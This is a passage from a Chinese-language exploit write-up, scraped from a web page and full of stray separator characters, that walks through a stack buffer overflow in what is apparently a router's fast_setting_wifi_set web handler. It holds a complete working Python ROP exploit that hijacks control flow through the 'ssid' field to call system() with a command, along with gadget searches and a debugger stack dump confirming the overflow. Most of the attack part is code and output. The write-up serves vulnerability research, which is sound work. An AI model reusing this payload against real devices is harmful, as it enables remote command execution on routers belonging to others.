||||
:从栈顶弹出两个值,分别存入
|
||||
r3
|
||||
和
|
||||
pc
|
||||
。( 将
|
||||
system
|
||||
地址存入
|
||||
r3
|
||||
)
|
||||
|
||||
- **用途**
|
||||
:控制
|
||||
r3
|
||||
寄存器的值,并直接跳转到
|
||||
pc
|
||||
指向的地址。( 用于初始化
|
||||
r3
|
||||
和跳转 )
|
||||
|
||||
**找到一个可以控制R0的gadget2_addr**
|
||||
```
|
||||
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
|
||||
0x00040cb8 : mov r0, sp ; blx r3
|
||||
```
|
||||
|
||||

|
||||
- **0x00040cb8 : mov r0, sp ; blx r3**
|
||||
- **功能**
|
||||
:将栈指针
|
||||
sp
|
||||
的值赋给
|
||||
r0
|
||||
,然后跳转到
|
||||
r3
|
||||
寄存器指向的地址执行( 此时
|
||||
r3
|
||||
已被前一步赋值为
|
||||
system_addr
|
||||
)。
|
||||
|
||||
- **用途**
|
||||
:用于将栈顶数据(如命令字符串)传递给
|
||||
r0
|
||||
( 用于传递参数并触发
|
||||
system()
|
||||
)。
|
||||
|
||||
#### ARM调用约定:在ARM中,函数调用时:
|
||||
- 第一个参数通过
|
||||
r0
|
||||
传递。
|
||||
|
||||
- 函数地址通常通过
|
||||
blx r3
|
||||
跳转(
|
||||
r3
|
||||
存储目标地址)
|
||||
|
||||
#### 关键寄存器作用
|
||||
- **r0**
|
||||
:ARM架构中用于传递函数第一个参数(如
|
||||
system("/bin/sh")
|
||||
中的
|
||||
"/bin/sh"
|
||||
地址)。
|
||||
|
||||
- **r3**
|
||||
:通用寄存器,此处用于暂存
|
||||
system
|
||||
函数地址。
|
||||
|
||||
- **pc**
|
||||
:程序计数器,指向下一条要执行的指令地址。通过控制
|
||||
pc
|
||||
,可以劫持程序流。
|
||||
|
||||
由此,完整的payload为:
|
||||
### 完整payload
|
||||
```
|
||||
import requests
|
||||
from pwn import *
|
||||
|
||||
cmd=b"echo success111"
|
||||
libc_base = 0x3fd9c000
|
||||
system = libc_base + 0x5A270
|
||||
readable_addr = libc_base + 0x6415F
|
||||
mov_r0_ret_r3 = libc_base + 0x40cb8
|
||||
pop_r3 = libc_base + 0x18298
|
||||
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
|
||||
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
|
||||
url = "http://192.168.50.18/goform/fast_setting_wifi_set"
|
||||
cookie = {"Cookie":"password=12345"}
|
||||
data = {"ssid": payload}
|
||||
response = requests.post(url, cookies=cookie, data=data)
|
||||
response = requests.post(url, cookies=cookie, data=data)
|
||||
print(response.text)
|
||||
```
|
||||
|
||||
执行脚本,成功实现rce
|
||||
|
||||

|
||||
|
||||
程序有时候会抽风,需要点几下ctrl+c
|
||||
|
||||
response = requests.post(url, cookies=cookie, data=data) 这个重复两次,是因为如果只发一次包,回来的东西不太对,不知道是啥问题
|
||||
|
||||
通过堆栈查看,发现数据已经插入
|
||||
|
||||

|
||||
|
||||
若是在0x67080 也就是strcpy传参处打断点,然后查看栈空间,我们可以看见,从r0(函数第一个传参处)0x408001e8 到寄存器0x40800248 都已经被"aaaa"覆盖,并且0x40800248地址也指向libc可读地址,0x3fe0015f = libc_base + 0x6415F = 0x3fd9c000 + 0x6415F = 0x3FE0015F ,与栈内是可以对应的上的
|
||||
|
||||

|
||||
|
||||
由于arm架构小端,所以每个寄存器占用4个字节,所以从0x40800248 +4 到0x40800264 进行字节占用补充("bbbb"),为0x20 - 8 = 24 字节 ;
|
||||
|
||||
0x40800264 栈底开始进行rog链构造,对应的就是
|
||||
|
||||
pop_r3 = libc_base + 0x18298 = 0x3fd9c000 + 0x18298 = 0x3FDB4298
|
||||
|
||||
0x40800268返回地址 对应
|
||||
|
||||
system基址 = libc_base + 0x5A270 = 0x3fd9c000 + 0x5A270 = 0x3fdf6270
|
||||
|
||||
0x4080026c 为后续执行地址,对应
|
||||
|
||||
mov_r0_ret_r3 = libc_base + 0x40cb8 = 0x3fd9c000 + 0x40cb8 = 0x3FDDCCB8
|
||||
|
||||
0x40800270 栈帧基址开始执行cmd指令,至此,证明思路完全没问题
|
||||
```
|
||||
80:0200│ r0 0x408001e8 ◂— 0x61616161 ('aaaa')
|
||||
... ↓ 23 skipped
|
||||
98:0260│ 0x40800248 —▸ 0x3fe0015f ◂— cdpvs p14, #6, c6, c15, c1, #3 /* 'anonymous' */
|
||||
99:0264│ 0x4080024c ◂— 0x62626262 ('bbbb')
|
||||
... ↓ 5 skipped
|
||||
9f:027c│ r11 0x40800264 —▸ 0x3fdb4298 ◂— pop {r3, pc}
|
||||
a0:0280│ 0x40800268 —▸ 0x3fdf6270 ◂— ldr r3, [pc, #0x144]
|
||||
a1:0284│ 0x4080026c —▸ 0x3fddccb8 ◂— mov r0, sp /* '\r' */
|
||||
a2:0288│ 0x40800270 ◂— 'echo success111'
|
||||
a3:028c│ 0x40800274 ◂— ' success111'
|
||||
a4:0290│ 0x40800278 ◂— 'cess111'
|
||||
a5:0294│ 0x4080027c ◂— 0x313131 /* '111' */
|
||||
a6:0298│ r3 0x40800280 ◂— 'fast_setting_wifi_set'
|
||||
a7:029c│ 0x40800284 ◂— '_setting_wifi_set'
|
||||
a8:02a0│ 0x40800288 ◂— 'ting_wifi_set'
|
||||
a9:02a4│ 0x4080028c ◂— '_wifi_set'
|
||||
aa:02a8│ 0x40800290 ◂— 'i_set'
|
||||
ab:02ac│ 0x40800294 ◂— 0x74 /* 't' */
|
||||
ac:02b0│ 0x40800298 ◂— 0x0... ↓ 55 skipped
|
||||
e4:0390│ 0x40800378 —▸ 0x66ee0 ◂— push {r4, r5, fp, lr}
|
||||
e5:0394│ 0x4080037c —▸ 0x119870 —▸ 0x11aaa0 ◂— 0
|
||||
e6:0398│ 0x40800380 ◂— 0x0
|
||||
e7:039c│ 0x40800384 —▸ 0x40800280 ◂— 'fast_setting_wifi_set'
|
||||
```
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user